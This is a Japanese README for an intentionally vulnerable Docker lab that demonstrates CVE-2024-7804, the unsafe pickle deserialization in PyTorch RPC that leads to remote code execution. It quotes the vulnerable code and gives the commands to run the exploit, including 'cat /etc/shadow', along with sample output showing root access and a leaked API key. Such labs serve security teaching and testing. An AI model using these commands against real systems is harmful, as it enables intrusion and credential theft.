
CVE-2024-7804 の自己完結型ラボ+エクスプロイト:PyTorchの分散型RPCフレームワーク(torch.distributed.rpc)における、信頼されていないデータの安全でないデシリアライゼーション(CWE-502)によるリモートコード実行。
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()注:このアドバイザリは後にメンテナおよびRed Hatによって「既知の機能」として撤回/却下されました — PyTorch RPCは設計上信頼できるピアシステムです。このラボは、報告された問題の正確で実践的なデモンストレーションとして引き続き有効です。
すべてのRPC呼び出しはPythonUDF namedtuple(func、args、)を送信します。受信ノードでは、許可リストも整合性チェックもない**素の**で再構築されます:
kwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- 攻撃者が制御するpickle
...
RPCの「ワールド」に参加できるピアは、load()の実行中に発火するpickleの__reduce__ガジェットを介して、またはノードが実行する内容を制限するものがないため、インポート可能な呼び出し可能オブジェクトをUDFとして指定するだけで、ノードに任意のコードを実行させることができます。
CVE-2024-7804/
├── docker-compose.yml # 被害者 + 攻撃者を1つのブリッジネットワーク上に配置
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — 脆弱なイメージ
│ └── server.py # 被害者: ピアを待機する信頼するRPCワーカー
└── exploit/
└── exploit.py # 攻撃者: ワールドに参加し、被害者にRCEを仕掛ける
Composeプラグインを備えたDocker。CPUのみ(GPUなし)、amd64およびarm64で動作します。
# 1. 脆弱な被害者ノードを起動(rank 0、ピアを待機)
docker compose up --build -d victim
# 2. エクスプロイトを実行(デフォルト: 被害者上でコマンドを実行し、そのstdoutを取得)
docker compose run --rm attacker
# 3. すべてを破棄
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
攻撃者は被害者上でrootとしてコマンドを実行し、公開されるはずのなかったファイルを外部に持ち出しました。
| コマンド | 内容 |
|---|---|
docker compose run --rm attacker | subprocess.check_outputをUDFとして送信。被害者はコマンドを実行してそのstdoutを返します — 1回の呼び出しでRCEおよびデータ外部持ち出しを実現。 |
docker compose run --rm attacker python exploit.py --reduce | __reduce__がos.systemを実行するオブジェクトを送信。被害者がペイロードをアンピックルしている間に実行されます — UDFが呼び出される前の、デシリアライゼーション時点でのRCE(CWE-502の本質)。 |
カスタムコマンド:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
--reduceの場合、コマンドは被害者上で実行されるため、そこで確認してください:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # 出力は被害者のログに表示されます
--reduceの被害者ログは、torch/distributed/rpc/internal.pyの約207行目(python_udf.func(...))でトレースバックで終了します — ペイロードが安全でないアンピックラーによってすでに再構築され実行された証拠です。
29500)を信頼されていないネットワークに公開しないでください。教育および許可されたセキュリティテストのみを目的としています。このラボは意図的に脆弱です — デプロイしないでください。また、このラボに対してのみエクスプロイトを実行してください。